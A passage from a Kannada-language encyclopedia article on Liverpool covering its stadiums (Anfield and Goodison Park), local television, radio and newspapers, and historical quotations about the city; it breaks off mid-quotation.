ಕ್ರೀಢೆಯಾದ ಬ್ರಿಟಿಷ್ ಬೇಸ್‌ಬಾಲ್ ಮತ್ತು ವಾರ್ಷಿಕ ಇಂಗ್ಲೆಂಡ್-ವ್ಹಾಲ್ಸ್ ಅಂತರಾಷ್ಟ್ರೀಯ ಪಂದ್ಯವನ್ನು ಪ್ರತಿ ಎರಡು ವರ್ಷಕ್ಕೊಮೆ ಆಯೋಜಿಸುತ್ತದೆ ಮತ್ತು ಇದು ಕಾರ್ಡಿಫ್ ಮತ್ತು ನ್ಯೂಪೋರ್ಟ್‌ಗೆ ಪರ್ಯಾಯವಾಗಿದೆ. ಲಿವರ್‌ಪೂಲ್ ಟ್ರೋಜಾನ್ಸ್‌ಗಳು ಯುಕೆಯಲ್ಲಿ ಅಸ್ಥಿತ್ವದಲ್ಲಿರುವ ಅತ್ಯಂತ ಹಳೆಯದಾದ ಬೇಸ್‌ಬಾಲ್ ಕ್ಲಬ್ ಆಗಿದೆ. ದಿ ರಾಯಲ್ ಲಿವರ್‌ ಪೂಲ್ ಗೋಲ್ಫ್ ಕ್ಲಬ್ ವೈರಾಲ್ ಪೆನಿನ್‌ಸುಲಾದ ಹೋಯ್‌ಲೆಕ್ ನಗರದ ಸಮೀಪದಲ್ಲಿ ಸ್ತಾಪಿಸಲ್ಪಟ್ಟಿದೆ ಮತ್ತು ಹಲವಾರು ಮುಕ್ತ ಛಾಂಪಿಯನ್‌ಶಿಪ್ ಪಂದ್ಯಗಳನ್ನು 2008ರ ಇತ್ತೀಚಿನ ವರ್ಷಗಳಲ್ಲಿ ಆಯೋಜಿಸುತ್ತಿದೆ. 1983ರಲ್ಲಿ ವ್ಹಾಕರ್‍ ಕಪ್ ಪಂದ್ಯವನ್ನು ಕೂಡಾ ಇದು ಆಯೋಜಿಸಿತ್ತು. ===ಕ್ರೀಡಾಂಗಣಗಳು=== ತಮ್ಮ ಭೂಮಾಲೀಕನ ವಿರುದ್ಧದ ಭಿನ್ನಾಭಿಪ್ರಾಯದ ಕಾರಣದಿಂದ ಎವರ್ಟನ್‌ ನಿರ್ಗಮಿಸಿದ ನಂತರದಲ್ಲೇ ಕ್ರೀಡಾಂಗಣವನ್ನು ಆಕ್ರಮಿಸಿಕೊಳ್ಳುವ ಸಲುವಾಗಿ ಕ್ಲಬ್ ರಚನೆಯಾದ ಸಂದರ್ಭದಲ್ಲಿ 1892ರಿಂದ ಆನ್‌ಫೀಲ್ಡ್‌ನಲ್ಲಿ ಲಿವರ್‌ಪೂಲ್‌‌ ಆಡಲಾರಂಭಿಸಿತು. 1970ರಿಂದ ಮೈದಾನವು ಪೂರ್ಣಪ್ರಮಾಣದಲ್ಲಿ ಪುನರ್ನಿರ್ಮಾಣವಾಗತೊಡಗಿದ್ದರೂ ಲಿವರ್ ಪೂಲ್ ಸುಮಾರು 116 ವರ್ಷಗಳು ಕಳೆದರೂ ಇನ್ನೂ ಆಲ್ಲಿ ಆಡುತ್ತಿದ್ದು 1992ರ ಪೂರ್ವದಲ್ಲಿ ಅಲ್ಲಿ ಕೇವಲ ಪ್ರಮುಖ ಆಸನಗಳ ಸೇವೆಗಳು ಮಾತ್ರ ಲಭ್ಯವಿತ್ತು. ಸ್ಪಿಯೋನ್ ಕಾಪ್ (1994/1995ರ ವೇಳೆಗೆ ಎಲ್ಲರೂ ಕೂರಬಲ್ಲ ವೇದಿಕೆಯಾಗಿ ಪುನರ್ನಿರ್ಮಾಣಗೊಂಡಿತ್ತು) ಬಯಲಿನ ಪ್ರಮುಖ ಭಾಗವಾಗಿದ್ದು ಇದರ ಮಹಡಿಗಳ ಮೇಲೆ ನೆರೆಯುತ್ತಿದ್ದ ಅಭಿಮಾನಿ ಜನರ ಹಾಡುಗಳು ಮತ್ತು ಆಚರಣೆಗಳ ಕಾರಣದಿಂದ ಇದು ಜಗತ್ತಿನಾಧ್ಯಂತ ಸಾಂಸ್ಕೃತಿಕ ಸ್ಥಾನಮಾನವನ್ನು ಪಡೆದಿದೆ. ಆನ್‌ಫೀಲ್ಡ್ 4 ನಕ್ಷತ್ರಗಳ ಯುಇಎಫ್‌ಎ ಕ್ರೀಡಾಂಗಣದಡಿ ಸ್ಥಾನ ಪಡೆದಿದ್ದು ಇದರಲ್ಲಿ ಸುಮಾರು 45,000 ವೀಕ್ಷಕರು ಆರಾಮವಾಗಿ ಆಸೀನರಾಗಬಲ್ಲ ವ್ಯವಸ್ಥೆಯಿದೆ ಮತ್ತು ಇದು ಪುಟ್ಟದಾದ ಹಳೆಯ ಕಟ್ಟಡಗಳಿಂದ ತುಂಬಿದ ವೈಶಿಷ್ಟ್ಯಪೂರ್ಣ ಹೆಗ್ಗುರುತಾಗಿದೆ. ಲಿವರ್‌ಫೂಲ್ ಕ್ಲಬ್ ಕೂಡಾ ಮಲ್ಟಿಮಿಲಿಯನ್ ಡಾಲರ್ ಯುವಆಟಗಾರರ ಟ್ರೈನಿಂಗ್ ಸೌಲಭ್ಯದ ದಿ ಅಕಾಡೆಮಿಯನ್ನು ಹೊಂದಿದೆ. [[File:Goodisonview1.JPG|thumb|left|ಗೂಡಿಸನ್ ಪಾರ್ಕ್, ಇವೆಂಟನ್ ಎಫ್.ಸಿಯ ಮೂಲ]] 1892ರಲ್ಲಿ ಆನ್‌ಫೀಲ್ಡ್‌ನ್ನು ಬಿಟ್ಟ ನಂತರ ಎವರ್ಟನ್ ಸ್ಟಾನ್ಲೆ ಪಾರ್ಕ್‌ನ ಎದುರುಬದಿಗಿದ್ದ ಗೂಡಿಸನ್ ಪಾರ್ಕ್‌ಗೆ ನಡೆದಿತ್ತು. ಗೂಡಿಸನ್ ಪಾರ್ಕ್ ಮೊದಲ ಪ್ರಧಾನ ಫೂಟ್‌ಬಾಲ್ ಕ್ರೀಡಾಂಗಣವಾಗಿ ಇಂಗ್ಲೆಂಡ್‌ನಲ್ಲಿ ನಿರ್ಮಾಣಗೊಂಡಿತ್ತು. ಮೋಲಿನ್ಯೂಕ್ಸ್ ( ವೋಲ್ವ್‌ನ ಮೈದಾನ) ಮೂರು ವರ್ಷಗಳ ಮೊದಲೇ ತೆರೆದಿದ್ದು ತುಲನಾತ್ಮಕವಾಗಿ ಇನ್ನೂ ಕೂಡಾ ಅಭಿವೃದ್ಧಿಗೊಂಡಿರಲಿಲ್ಲ. ನ್ಯೂ ಕ್ಯಾಸಲ್‌ನ ಸಂತ ಜೇಮ್ಸ್ ಪಾರ್ಕ್ 1892ರಲ್ಲಿ ಉದ್ಘಾಟನೆಗೊಂಡಿದ್ದು ಆಟದ ಮೈದಾನಕ್ಕಿಂತ ತುಸು ವಿಸ್ತಾರವಾಗಿತ್ತು. ಸ್ಕಾಟ್‌ಲ್ಯಾಂಡ್ ಮಾತ್ರ ಆಧುನೀಕರಿಸಲ್ಪಟ್ಟ ಮೈದಾನವನ್ನು ಹೊಂದಿತ್ತು. ಗೂಡಿಸನ್ ಪಾರ್ಕ್ ಉದ್ಘಾಟನೆಯಾದ ಸಮಯದಲ್ಲೇ ಸೆಲ್ಟಿಕ್ ಪಾರ್ಕ್ ಅಧಿಕೃತವಾಗಿ ಉದ್ಘಾಟನೆಗೊಂಡ ಸಂದರ್ಭದಲ್ಲೇ ರೇಂಜರ್‌ಗಳು 1887 ರಲ್ಲಿ ಇಬ್ರಾಕ್ಸ್‌ನ್ನು ಉದ್ಘಾಟಿಸಿದರು. ಸುಮಾರು 3000 ಪೌಂಡ್‌ಗಳಷ್ಟು ಹಣವನ್ನು ವಿನಿಯೋಗಿಸಿ ಮೈದಾನವನ್ನು ರಚಿಸಿ ಅದರ ಮೂರು ಬದಿಗಳಲ್ಲಿ ವ್ಯವಸ್ಥೆಗೊಳಿಸಲ್ಪಟ್ಟ ನೇರವಾದ ಆಸನ ವ್ಯವಸ್ಥೆಯೊಡನೆ ಮೀರ್ ಗ್ರೀನ್‌ನಲ್ಲಿ ಎವರ್ಟನ್ ಅದ್ಭುತವಾದ ಪರಿವರ್ತನೆಯ ನಿರ್ವಹಣೆಯನ್ನು ತೋರಿತು. ಶ್ರೀಯುತ ಬಾರ್ಟನ್ ಅವರು552 ಪೌಂಡ್‌ಗಳನ್ನು ಬಳಸಿ 4½ ಚದರ ಅಡಿ ವಿಸ್ತೀರ್ಣವುಳ್ಳ ಭೂಮಿಯನ್ನು ರಚಿಸಿದರು. ವಾಲ್ಟನ್‌ನ ಕೆಲ್ಲಿ ಸಹೋದರರು 1460 ಪೌಂಡ್‌‌ಗಳಷ್ಟು ಒಟ್ಟು ವೆಚ್ಚದಲ್ಲಿ 4000 ಜನರಿಗಾಗಿ ಎರಡು ತೆರೆದ ಆಸನ ವ್ಯವಸ್ಥೆಗಳನ್ನು ನಿರ್ಮಿಸಿದರು ಮತ್ತು 3000 ಜನರಿಗಾಗಿ ಒಂದು ಮುಚ್ಚಿದ ಆಸನವ್ಯವಸ್ಥೆಯನ್ನು ನಿರ್ಮಿಸಿದರು. ಇದರ ಹೊರತಾಗಿ ಜಾಹೀರಾತು ಪ್ರದರ್ಶಿಸಲು ಇನ್ನೂ150 ಪೌಂಡ್, ಗೇಟ್ ಮತ್ತು ಶೆಡ್ ನಿರ್ಮಿಸಲು 132 ಪೌಂಡ್, 10 ಮತ್ತು 12 ತಿರುಗುಬಾಗಿಲು ಕಂಬಗಳು ಇನ್ನೂ ಹೆಚ್ಚಿನ 715 ಪೌಂಡ್‌ಗಳನ್ನು ಬಿಲ್‌ನಲ್ಲಿ ಸೇರಿಸಿದವು. ತಕ್ಷಣವೇ ಮೈದಾನವು ಗೂಡಿಸನ್ ಪಾರ್ಕ್ ಎಂದು ಮರುನಾಮಕರಣ ಹೊಂದಿ ಎಫ್ಎ(ಫೂಟ್‌ಬಾಲ್ ಎಸೋಸಿಯೇಶನ್)ನ ಲಾರ್ಡ್ ಕಿನ್ನೈರ್ಡ್ ಮತ್ತು ಫ್ರೆಡ್ರಿಕ್ ವಾಲ್‌ರಿಂದ 1892ರ ಆಗಸ್ಟ್ 24ರಂದು ವೈಭವದಿಂದ ಉದ್ಘಾಟನೆಗೊಂಡಿತು. ಆದರೆ, ಪಂದ್ಯದ ಬದಲಿಗೆ, 12,000 ಜನರು ಕ್ರೀಡಾಪಟುಗಳ ಚಿಕ್ಕ ಸಭೆ ಮತ್ತು ಅನಂತರದಲ್ಲಿ ಜರುಗಿದ ಸಂಗೀತದ ಆಯ್ಕೆ ಹಾಗೂ ಸುಡುಮದ್ದು ಪ್ರದರ್ಶನಗಳನ್ನು ವೀಕ್ಷಿಸಿದರು. ಎವರ್ಟನ್‌ನ ಮೊದಲ ಆಟ ಸೆಪ್ಟೆಂಬರ್ 2, 1892ರಂದು ನಡೆದು, ಇದು ಬೋಲ್ಟನ್ ತಂಡವನ್ನು 4–2 ಅಂತರದಲ್ಲಿ ಸೋಲಿಸಿತು. ಈಗ ಅದು ಸುಮಾರು 40,000 ಕ್ಕಿಂತಲೂ ಹೆಚ್ಚಿನ ವೀಕ್ಷಕರೆಲ್ಲರೂ ಕುಳಿತುಕೊಳ್ಳಬಹುದಾದ ಸ್ಥಳಾವಕಾಶವನ್ನು ಹೊಂದಿದೆ. ಇದರ ಪ್ರಧಾನ ಆಸನವ್ಯವಸ್ಥೆಯು 1970ಕ್ಕಿಂತಲೂ ಪೂರ್ವದಲ್ಲೇ ನಿರ್ಮಾಣಗೊಂಡಿದ್ದು ಇತರ ಎರಡು ಆಸನವ್ಯವಸ್ಥೆಗಳು ಎರಡನೇ ಜಾಗತಿಕ ಯುದ್ಧದ ಪೂರ್ವದಲ್ಲಿ ಪುನರ್ನವೀಕರಣಗೊಂಡಿತ್ತು. ಈಗ ಎರಡೂ ಕ್ರೀಡಾಂಗಣಗಳನ್ನು ಹಿಂದಿನ ಸ್ಥಿತಿಗೇ ತರುವಂತಹ ಯೋಜನೆಗಳನ್ನು ಹಮ್ಮಿಕೊಂಡಿದ್ದು ತಂಡಗಳು ಇಲ್ಲಿ ಪುನರ್ಸ್ಥಾಪಿಸುವಂತೆ ಮಾಡಲಾಗಿದೆ. 2000ದಿಂದೀಚೆಗೆ ಲಿವರ್‌ಪೂಲ್ ಸ್ಟಾನ್ಲಿ ಪಾರ್ಕ್‌ನಲ್ಲಿರುವ, ಏಳು ವರ್ಷಗಳಿಂದ ಕೆಲಸಕಾರ್ಯಗಳು ಆರಂಭಗೊಂಡಿದ್ದು 60,000 ಆಸನಗಳುಳ್ಳ ಮತ್ತು 2014ರ ವೇಳೆಗೆ ಪೂರ್ಣವಾಗುವ ನಿರೀಕ್ಷೆಯಿರುವ ಹೊಸ ಕ್ರೀಡಾಂಗಣಕ್ಕೆ ಹೋಗುವುದೆಂದು ನಂಬಲಾಗಿತ್ತು. 1996ರಿಂದಲೇ ಎವರ್ಟನ್ ಹೊಸ ಸ್ಥಳಕ್ಕೆ ವರ್ಗಾಯಿಸಲ್ಪಡುತ್ತದೆ ಎಂದು ನಂಬಲಾಗಿತ್ತು ಮತ್ತು ಆರ್ಥಿಕ ಕಾರಣಗಳಿಂದ 2003ರಲ್ಲಿ ಕಿಂಗ್ಸ್ ಪಾರ್ಕ್‌ನಲ್ಲಿರುವ 55,000 ಆಸನಗಳುಳ್ಳ ಕ್ರೀಡಾಂಗಣಕ್ಕೆ ಹೋಗಲು ಒತ್ತಾಯಪೂರ್ವಕವಾಗಿ ಯೋಜನೆಗಳನ್ನು ಸಿದ್ಧಪಡಿಸಿಕೊಂಡಿತ್ತು. ಅತ್ಯಾಧುನಿಕ ಯೋಜನೆಗಳೆಂದರೆ ಲಿವರ್‌ಪೂಲ್‌ ಆಡಳಿತ ಮಂಡಳಿಯ ಗಡಿಯಿಂದಾಚೆಗಿರುವ ಕರ್ಬಿಗೆ ವರ್ಗಾಯಿಸಲ್ಪಡುವುದಾಗಿತ್ತು ಆದರೆ, ಅಭಿಮಾನಿ ಜನರಿಂದ ಮತ್ತು ಸ್ಥಳೀಯ ಸಮುದಾಯದ ಸದಸ್ಯರಿಂದಾಗಿ ಇದೊಂದು ವಿವಾದಾತ್ಮಕ ವಿಚಾರವಾಗಿ ದೃಢಗೊಂಡಿತು. ಇನ್ನೊಂದು ವಿಚಾರದಲ್ಲಿ ಸ್ಟಾನ್ಲೆ ಪಾರ್ಕ್‌ನಲ್ಲಿರುವ ಮುಂದೆ ಉದ್ಘಾಟನೆಗೊಳ್ಳಲಿರುವ ಹೊಸ ಕ್ರೀಡಾಂಗಣದಲ್ಲಿ ಎವರ್ಟನ್ ಲಿವರ್‌ಪೂಲ್‌ನೊಂದಿಗೆ ಮೈದಾನವನ್ನು ಹಂಚಿಕೊಳ್ಳುವುದರ ಬಗ್ಗೆ ಮಾತು ನಡೆದಿತ್ತು. ಆದರೆ ಈ ಮಾತುಗಳನ್ನು ಎರಡೂ ಕ್ಲಬ್‌ಗಳು ಕೂಡಾ ಮುಂದುವರೆಸಲಿಲ್ಲ. ==ಮಾಧ್ಯಮ== ಲಿವರ್‌ಪೂಲ್‌ನ್ನು ಆವರಿಸಿಕೊಂಡಿರುವ ಐಟಿವಿ ಎಂದರೆ, ಐಟಿವಿ ಗ್ರಾನಡ. 2006ರಲ್ಲಿ [[ದೂರದರ್ಶನ]] ಕಂಪನಿಯು ತನ್ನ ಹೊಸ ವಾರ್ತಾಕಚೇರಿಯನ್ನು ರಾಯಲ್ ಲಿವರ್ ಕಟ್ಟಡದಲ್ಲಿ ಆರಂಭಗೊಳಿಸಿತು. ಗ್ರಾನಡದ ಪ್ರಾದೇಶಿಕ ವಾರ್ತೆಗಳು ಆಲ್ಬರ್ಟ್ ವಾರ್ತಾ ಕೇಂದ್ರಗಳಲ್ಲಿ 1980 ಮತ್ತು 1990ರ ದಶಕದಲ್ಲಿ ಪ್ರಸಾರಗೊಂಡಿತ್ತು.<ref name="itvnorthwestnews">{{Cite news|url=http://www.tv-ark.org.uk/itvnorthwest/itvnorthwestnews.html|publisher=TV Ark|title=ITV North West News|date=9 September 2006}}</ref> ಬಿಬಿಸಿ ಕೂಡಾ ತನ್ನ ಹೊಸ ವಾರ್ತಾ ಕೊಠಡಿಯನ್ನು 2006 ರಲ್ಲಿ ಹಾನೋವರ್ ಸ್ಟ್ರೀಟ್‌ನಲ್ಲಿ ತೆರೆದನು. ಉತ್ಪಾದನಾ ಕಾರ್ಯಗಳನ್ನು ಲಂಡನ್‌ಗೆ ವರ್ಗಾಯಿಸಿದ ಮೇಲೆ ಐಟಿವಿಯ ದೈನಂದಿನ ಸಂಚಿಕೆಯ ಕಾರ್ಯಕ್ರಮಗಳಾದ'' "ದಿಸ್ ಮಾರ್ನಿಂಗ್" '' ಆಲ್ಬರ್ಟ್ ಡಾಕ್‌ನ ಸ್ಟುಡಿಯೋಗಳಲ್ಲಿ 2002ರ ವರೆಗೆ ಬಹು ಬೇಡಿಕೆಯಿಂದ ಪ್ರಸಾರಗೊಳ್ಳೂತ್ತಿತ್ತು. ಗ್ರಾನಡಾದ ಅತಿ ಕಡಿಮೆ ಅವಧಿಗೆ ಶಾಪ್ ಎಂಬ ಶಾಪಿಂಗ್ ವಾಹಿನಿಯು ಇತ್ತು. 2002ರಲ್ಲಿ ಇದು ಮುಚ್ಚುವವರೆಗೂ ಲಿವರ್‌ಪೂಲ್ ಕಾರ್ಯಕ್ರಮವನ್ನು ಇದು ನೀಡುತ್ತಿತ್ತು. ದೂರದರ್ಶನ ತಯಾರಿಕಾ ಕಂಪನಿಯ ಲೈಮ್ ಪಿಕ್ಚರ್‌ಗಳಿಗೆ ಮತ್ತು ಈಗ ಬಳಕೆಯಲ್ಲಿಲ್ಲದ ಸೋಪ್ ''ಬ್ರೂಕ್ ಸೈಡ್'' ಮತ್ತು ''ಗ್ರಾಂಜ್ ಹಿಲ್‌'' ನ್ನು ತಯಾರಿಸಿದ್ದ ಹಿಂದಿನ ಮರ್ಸೀ ದೂರದರ್ಶನಕ್ಕೆ ಲಿವರ್‌ಪೂಲ್ ತಳಹದಿಯಾಗಿದೆ. ಇದು ಚೆಸ್ಟರ್‌ನಲ್ಲಿ ಚಿತ್ರೀಕರಣಗೊಂಡ ಮತ್ತು 1995ರಲ್ಲಿ ವಾಹಿನಿ 4ರಲ್ಲಿ ಆರಂಭಗೊಂಡ ಈಗಿನ ಸೋಪ್ ಒಪೇರ ಹಾಲಿಓಕ್ಸ್‌ನ್ನು ಕೂಡಾ ತಯಾರಿಸಿತು. ಈ ಮೂರೂ ಸರಣಿಗಳು ಲಿವರ್‌ಪೂಲ್‌ನ ಚೈಲ್ಡ್‌ವಾಲ್ ಪ್ರದೇಶದಲ್ಲೇ ಹೆಚ್ಚಾಗಿ ಚಿತ್ರೀಕರಣಗೊಂಡಿದೆ. ನಗರವು ಬೆಳಗಿನ "ಡೈಲಿ ಪೋಸ್ಟ್" ಮತ್ತು ಸಂಜೆಯ "ಇಖೋ" ಎಂಬ ಎರಡು ದೈನಂದಿನ ವಾರ್ತಾಪತ್ರಿಕೆಗಳನ್ನು ಹೊಂದಿದ್ದು, ಎರಡೂ ಕೂಡಾ ಟ್ರಿನಿಟಿ ಮಿರ್ರರ್ ಗ್ರೂಪ್ ಎಂಬ ಒಂದೇ ಕಂಪನಿಯಿಂದ ಪ್ರಕಟಣೆಗೊಳ್ಳುತ್ತಿತ್ತು. ಡೈಲಿ ಪೋಸ್ಟ್ ವಿಶೇಷವಾಗಿ ಉತ್ತರ ವೇಲ್ಸ್‌ ಸಹಿತ ವಿಸ್ತೃತವಾದ ಪ್ರದೇಶಗಳಲ್ಲಿ ಹಂಚಿಹೋಗುತ್ತಿತ್ತು. ಯುಕೆ ಯ ಮೊದಲ ಆನ್‌ಲೈನ್ ಮಾತ್ರವಾಗಿದ್ದ ವಾರ್ತಾ ವಾರಪತ್ರಿಕೆಯಾದ ಸೌತ್‌ಪೋರ್ಟ್ ರಿಪೋರ್ಟರ್ (ಸೌತ್ ಪೋರ್ಟ್ ಮತ್ತು ಮರ್ಸಿ ರಿಪೋರ್ಟ್) ಕೂಡಾ ನಗರದುದ್ದಕ್ಕೂ ಪ್ರಕಟಗೊಳ್ಳುತ್ತಿದ್ದ ವಾರ್ತಾ ಪತ್ರಿಕೆಗಳಲ್ಲಿ ಒಂದಾಗಿತ್ತು. ರೇಡಿಯೋ ಪ್ರಸಾರ ಕೇಂದ್ರಗಳೆಂದರೆ, ಬಿಬಿಸಿ ರೇಡಿಯೋ ಮರ್ಸಿಸೈಡ್, ಜ್ಯೂಸ್ ಎಫ್‌ಎಮ್ ಮತ್ತು ರೇಡಿಯೋ ಸಿಟಿ 96.7, ಸಿಟಿ ಟಾಕ್ 105.9 ಅಂತೆಯೇ, ಮ್ಯಾಜಿಕ್ 1548 ಕೂಡಾ. ಕೊನೆಯ ಮೂರು ರೇಡಿಯೋ ಕೇಂದ್ರಗಳು ರೇಡಿಯೋ ಸಿಟಿ ಟವರ್‌ನಲ್ಲಿ ಪ್ರಾರಂಭಗೊಂಡಿದ್ದು ನಗರದ ಎರಡು ಪ್ರಧಾನ ಚರ್ಚುಗಳು (ಕೆತಡ್ರಲ್) ದಿಗಂತದೆತ್ತರದಲ್ಲಿ ರಾರಾಜಿಸುತ್ತಿವೆ. ಮ್ಯಾಗಜಿನ್ "ನರ್ವ್" ಇಲ್ಲಿ ನಡೆಯುವ ಸಾಂಸ್ಕೃತಿಕ ಕಾರ್ಯಕ್ರಮಗಳ ಬಗ್ಗೆ ಲೇಖನಗಳನ್ನು ಹಾಗೂ ಪುನರ್ವಿಮರ್ಷೆಗಳನ್ನು ಪ್ರಕಟಿಸುತ್ತಿದ್ದರೆ, ಸ್ವತಂತ್ರ ಮಾಧ್ಯಮ ಸಂಸ್ಥೆಯಾದ ಇಂಡಿಮೀಡಿಯಾ ಸಹ ಲಿವರ್‌ಪೂಲ್ ಬಗ್ಗೆ ಪ್ರಸಾರ ಮಾಡುತ್ತಿದೆ. ಲಿವರ್‌ಪೂಲ್ ಹಲವು ಚಲನಚಿತ್ರಗಳಲ್ಲೂ ಸಹ ಪ್ರದರ್ಶಿಸಲ್ಪಟ್ಟಿದೆ.<ref>[http://www.filminfocus.com/article/movie_city__liverpool ಮೂವಿ ಸಿಟಿ:ಲಿವರ್‌ಪೂಲ್] {{Webarchive|url=https://web.archive.org/web/20100113155808/http://www.filminfocus.com/article/movie_city__liverpool |date=2010-01-13 }} ಫಿಲ್ಮ್ ಇನ್ ಫೋಕಸ್, 10 ನವೆಂಬರ್ 2009</ref> ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ ಚಿತ್ರೀಕರಿಸಲ್ಪಟ್ಟ ಚಿತ್ರಗಳಲ್ಲಿ ಕೆಲವನ್ನು ಈ ಪಟ್ಟಿಯಲ್ಲಿ ನೋಡಬಹುದು.<ref name="Ten facts about Liverpool" /><ref>[https://www.theguardian.com/uk/1999/nov/08/davidward ಸಿಟಿ ಫೈಟ್ಸ್ ಟು ಪ್ರಿಸರ್ವ್ ಸ್ಟಾರ್ ಕ್ವಾಲಿಟಿ] ಗಾರ್ಡಿಯನ್, 8 ನವೆಂಬರ್ 1999</ref> 2008ರ ಎಮ್‌ಟಿವಿ ಯುರೋಪ್ ಸಂಗೀತ ಅವಾರ್ಡ್‌ಗಳಿಗೆ ಲಿವರ್‌ಪೂಲ್ ಅತಿಥೇಯ ನಗರವಾಗಿತ್ತು. ==ಗಣ್ಯ ವ್ಯಕ್ತಿಗಳು== {{Main|List of people from Merseyside|List of bands from Merseyside}} ==ಲಿವರ್‌ಫೂಲ್ ಕುರಿತಾದ ಹೇಳಿಕೆಗಳು== * "ಲೈರ್‌ಪೋಲ್, ಅಲಿಯಾಸ್ ಲಿವರ್‌ಪೋಲ್, ಕಲ್ಲುಹಾಸಿನ ಪಟ್ಟಣ ಆದರೆ ಇಲ್ಲಿ ಚರ್ಚ್‌ ಇದೆ. ಇಲ್ಲಿ ರಾಜನು ಅರಮನೆಯನ್ನು ಹೊಂದಿದ್ದ ಹಾಗೂ ಡರ್ಬೆಯ ಅರ್ಲ್ ಕಲ್ಲಿನ ಮನೆಯನ್ನು ಹೊಂದಿದ್ದ. ಐರಿಶ್ ವ್ಯಾಪಾರಿಗಳು ಇಲ್ಲಿಗೆ ಸ್ವರ್ಗಕ್ಕೆ ಬಂದಹಾಗೆ ಬರುತ್ತಿದ್ದರು... ಲಿವರ್ ಪೂಲ್‌ನಲ್ಲಿ ಸಂಪ್ರದಾಯವನ್ನು ಪೂರೈಸಿದ ಅವರು ಅಲ್ಲಿ ವ್ಯಾಪಾರಕ್ಕೆ ಅನುಮತಿಯನ್ನು ಪಡೆಯುತ್ತಿದ್ದರು. ಲಿವರ್ ಪೋಲ್‌ನಲ್ಲಿಯ ಉತ್ತಮ ವ್ಯಾಪಾರಿಗಳು ಐರಿಷ್‌ ಮೂಲದವರಾಗಿದ್ದಾರೆ ಮತ್ತು ಅಲ್ಲಿ ಹೆಚ್ಚಿನ ವ್ಯಾಪಾರ ಮಾಡುವವರು ಮ್ಯಾಂಚೆಸ್ಟರ್‌ನವರಾಗಿದ್ದಾರೆ..." – ಜಾನ್ ಲೆಲಾಂಡ್‌ (ಆಂಟಿಕ್ವಾರಿ), '' ಇಟಿನರಿ'' , c. 1536–39 * " ಲಿವರ್ ಪೂಲ್ ಇದು ಬ್ರಿಟನ್‌ನಲ್ಲಿರುವ ಅದ್ಭುತಗಳಲ್ಲಿ ಒಂದು... ಕೆಲವೇ ಶಬ್ಧಗಳಲ್ಲಿ ವಿವರಿಸುವುದಾದರೆ ಇಂಗ್ಲಂಡ್‌ನಲ್ಲಿ ಲಂಡನ್‌ ಹೊರತುಪಡಿಸಿ ಅದರಂತೆ ಉತ್ತಮ ರಸ್ತೆಗಳು ಮತ್ತು ಸುಂದರ ಕಟ್ಟಡಗಳನ್ನು ಹೊಂದಿರುವ ನಗರವೆಂದರೆ ಇದೊಂದೆ." ಡೆನಿಯನ್ ಡೆಫೊ – ''ಎ ಟೂರ್ ಥ್ರೋ ದ ಹೋಲ್ ಐಲ್ಯಾಂಡ್ ಆಫ್ ಗ್ರೇಟ್‌ ಬ್ರಿಟನ್'' , 1721–26 * "ಇಂಗ್ಲಂಡ್‌ನಲ್ಲಿ ನಾನು ನೋಡಿದ ಅತ್ಯಂತ ಶುಚಿಯಾದ, ಉತ್ತಮ ನಗರಗಳಲ್ಲಿ ಇದು ಒಂದು." – ಜಾನ್ ವೆಸ್ಲೆ. ''ಜರ್ನಲ್'' , 1755 * "ನಾನು ಇಲ್ಲಿ ಯಾವುದೇ ದುರ್ಬಾಗ್ಯವಂತರಿಂದ ಮುಖಬಂಗ ಅನುಭವಿಸಲು ಬಂದಿಲ್ಲ. ಇಲ್ಲಿರುವ ಪ್ರತಿಯೊಂದು ಕಲ್ಲು ಕೂಡಾ ಆಫ್ರಿಕನ್ ಜನರ ರಕ್ತದಿಂದ ಒದ್ದೆಯಾಗಿದೆ." ನಟ ಜಾರ್ಜ್ ಫ್ರೆಡರಿಕ್ ಕುಕ್ (1756–1812) ಲಿವರ್‌ಫೂಲ್ ಭೇಟಿಗೆ ಬಂದಾಗ ಈತ ಕುಡಿದು ಒಂದು ವೇದಿಕೆಯನ್ನು ಹತ್ತಿದ್ದಕ್ಕೆ ವಿರೋಧ ವ್ಯಕ್ತವಾದಾಗ ಲಿವರ್ ಫೂಲ್ ಕುರಿತಾಗಿ ಈ ರೀತಿಯ ಹೇಳಿಕೆ ನೀಡಿದ.<ref>{{Cite web|url=http://www.channel4.com/history/microsites/T/timeteam/2008/liverpool/liverpool-cameo.html |title=Time Team &#124; Archaeology &#124; Channel 4 &#124; Tony Robinson |publisher=Channel 4 |date=2008-04-21 |accessdate=2010-04-15}}</ref> * "ಈ ನಗರವು ನೀರಿನ ಮೇಲೆ ನಿಂತ ಇನ್ನೊಂದು ವೆನಿಸ್ ನಗರದಂತಿದೆ. ಅಲ್ಲಿಯ ಪ್ರತಿಯೊಂದು ಅಲೆಯಲ್ಲಿಯೂ ಕೂಡ ಮನುಷ್ಯನನ್ನು ಸಂತಸಪಡಿಸುವ ಹಾಗೂ ಅದ್ಭುತ ಪರಿವಾರದ ಹಾಗೂ ಪ್ರಸಿದ್ಧ ರಾಜ ಮನೆತನದ ಹೆಮ್ಮೆಯನ್ನು ಕಾಣುವ ಬಯಕೆಯುಳ್ಳವರಿಗೆ ಉತ್ತಮ ಪ್ರದೇಶವಾಗಿದೆ... ಈ ಹಳ್ಳಿಯು, ಈಗ ರಾಜಧಾನಿಯಾಗುವ ಎಲ್ಲ ಲಕ್ಷಣಗಳನ್ನೂ ಹೊಂದಿದೆ. ಅಲ್ಲದೆ ಇದು ಒಂದು ಯಾವತ್ತೂ ನೆನಪಿನಲ್ಲಿ ಉಳಿಯುವಂತಹ ಸಾಮ್ರಾಜ್ಯವನ್ನು ಜನಮಾನಸದಲ್ಲಿ ಬಿತ್ತಿದೆ." ಥಾಮಸ್ ಎರ್ಸ್ಕೈನ್, 1st ಬ್ಯಾರೂನ್ ಎರ್ಸ್ಕಿನ್, 1791 * "ಲಿವರ್‌ಪೂಲ್‌ನ ಹೆಚ್ಚುಗಾರಿಕೆ ಏನೆಂದರೆ ಅದು ನನ್ನೆಲ್ಲ ನಿರೀಕ್ಷಣೆಯನ್ನು ಸುಳ್ಳಾಗಿಸಿ ಅದರ ಸತ್ಯತೆಯು ಹೆಚ್ಚುಗಾರಿಕೆಯನ್ನು ಹೊಂದಿದೆ."-ಪ್ರಿನ್ಸ್ ಆಲ್ಬರ್ಟ್, ''ಭಾಷಣ'' , 184 * "ಲಿವರ್ ಫೂಲ್....ಪ್ರಪಂಚದ ವಿಸ್ಮಯಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. ಇದು 